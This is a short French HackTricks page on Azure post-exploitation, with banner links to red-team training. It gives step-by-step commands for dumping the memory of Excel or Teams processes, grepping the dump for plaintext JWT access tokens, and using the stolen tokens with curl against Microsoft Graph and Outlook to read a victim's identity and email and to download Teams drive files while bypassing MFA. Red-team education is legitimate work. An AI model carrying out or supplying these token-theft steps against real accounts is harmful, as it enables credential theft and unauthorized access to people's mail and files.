Az - Processes Memory Access Token

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Comme expliqué dans cette vidéo, certains logiciels Microsoft synchronisés avec le cloud (Excel, Teams...) pourraient stocker des jetons d'accÚs en texte clair dans la mémoire. Donc, simplement dumping la mémoire du processus et grepping pour des jetons JWT pourrait vous donner accÚs à plusieurs ressources de la victime dans le cloud en contournant MFA.

Étapes :

  1. Dump les processus Excel synchronisés avec l'utilisateur EntraID avec votre outil préféré.
  2. Exécutez : string excel.dmp | grep 'eyJ0' et trouvez plusieurs jetons dans la sortie
  3. Trouvez les jetons qui vous intéressent le plus et exécutez des outils dessus :
bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Notez que ce type de jetons d'accĂšs peut Ă©galement ĂȘtre trouvĂ© Ă  l'intĂ©rieur d'autres processus.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks